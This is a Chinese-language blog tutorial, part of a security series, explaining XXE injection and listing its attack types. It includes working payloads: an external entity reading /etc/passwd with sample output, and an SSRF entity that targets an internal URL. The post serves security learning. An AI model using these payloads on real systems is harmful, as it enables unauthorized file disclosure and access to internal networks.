iT邦幫忙

2023 iThome 鐵人賽

DAY 22
0

當網站處理包含對外部實體的參考的XML資料時,攻擊者可以利用此漏洞閱讀伺服器上的本地文件、與網站可以訪問的任何後端或外部系統,或執行拒絕服務攻擊。

XML 是什麼?

可延伸標記式語言(Extensible Markup Language,簡稱:XML)是一種標記式語言,主要用途是在於說明資料是什麼以及攜帶資料資訊。
XML 所擁有的功用不只是傳遞資料,還可以將資料包含在 XML 文件中,然後利用延伸樣式表語言 (XSL) 所寫成的網頁來將 XML 文件中的資料展現於瀏覽器中。

範例

<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
    <book id="1">
        <title>XML</title>
        <author>John Doe</author>
        <price>19.95</price>
    </book>
    <book id="2">
        <title>Advanced XML</title>
        <author>Jane Smith</author>
        <price>29.95</price>
    </book>
</bookstore>

XXE 攻擊類型

  • 利用 XXE 檢索檔,其中定義了包含文件內容的外部實體,並在應用程式的回應中返回。
  • 利用 XXE 執行 SSRF 攻擊,其中外部實體是根據後端系統的 URL 定義的。
  • 利用盲 XXE 會洩露資料,其中敏感資料從應用程式伺服器傳輸到攻擊者控制的系統。
  • 利用盲 XXE 通過錯誤消息檢索資料,攻擊者可以觸發包含敏感資料的解析錯誤消息。

利用 XXE 檢索檔

透過XXE(XML外部實體)注入攻擊,攻擊者可以從伺服器的檔案系統中檢索任意檔案。
要執行此攻擊,您需要進行以下操作:

  • 說明或編輯DOCTYPE元素:定義一個包含要檢索檔案路徑的外部實體
  • 編輯XML中的值:使其使用您定義的外部實體,這樣在應用程序的回應中就可以使用這個實體
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

如果此應用程式沒有針對XXE攻擊進行特定的防護,您可以提交以下XXE有效載荷來檢索/etc/passwd檔案:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

這個XXE定義了一個外部實體&xxe;,其值是/etc/passwd檔案的內容,並在productId值中使用此實體。這導致網站的回應包含該檔案的內容,例如:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Lab time

利用XXE進行SSRF攻擊

要利用XXE漏洞執行SSRF攻擊,需要使用目標的URL來定義一個外部XML實體,並在資料值中使用定義的實體。如果可以在網站回應中的資料值中使用定義的實體,那麼就將能夠在網站的回應中查看來自URL的回應,從而與後端進行溝通。如果不是,那就只能執行盲目的SSRF攻擊。

這是一個XXE導致伺服器發出後端HTTP請求訪問內部系統的範例:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Lab time


上一篇
[Day 21]點擊劫持攻擊
下一篇
[Day 23]模板注入漏洞(SSTI)
系列文
從 Moblie Development 主題被損友洗腦鬼轉 Security 的我真的可以完賽嗎?30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言